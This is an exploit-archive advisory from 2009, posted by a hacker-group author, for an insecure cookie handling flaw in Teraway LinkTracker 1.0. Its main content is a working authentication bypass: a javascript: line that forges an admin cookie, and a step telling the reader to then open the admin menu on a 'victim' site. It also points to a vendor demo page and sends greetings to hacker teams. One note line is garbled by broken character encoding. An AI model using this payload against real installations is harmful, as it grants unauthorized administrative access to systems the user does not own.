[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Teraway LinkTracker 1.0 Insecure Cookie Handling Vulnerability
# Published : 2009-04-27
# Author : ThE g0bL!N
# Previous Title : Flatchat 3.0 (pmscript.php with) Local File Inclusion Vulnerability
# Next Title : Teraway FileStream 1.0 Insecure Cookie Handling Vulnerability
-------------------------------------[+]
Homepage:http://www.teraway.com
Product: Teraway LinkTracker V1.0
home:www.h4ckf0ru.com
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae
Note: ?3?§ù? ?§ù?ù…ù…ù?ù? ?§ù?ù…?3?a?-ù?ù? ?§ù?ù? ?aù?ù?ù… ù??§ù? ù?ù? ?§?-ù??§ù… ?§ù??1?§???2
-------------------------------------
Teraway LinkTracker V1.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------
javascript:document.cookie="twLTadmin=userid=1&lvl=1;path=/";
Then Go to http://victim/path/menu.asp
demo
----
http://www.teraway.com/linktracker/demo/login.asp
--------------------------------------------------
Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone- ZoRLu
And ALL Members Of anti-intruders.org
ALL My Friends (Dz)
[+]-------------------------------------[+]
# www.Syue.com [2009-04-27]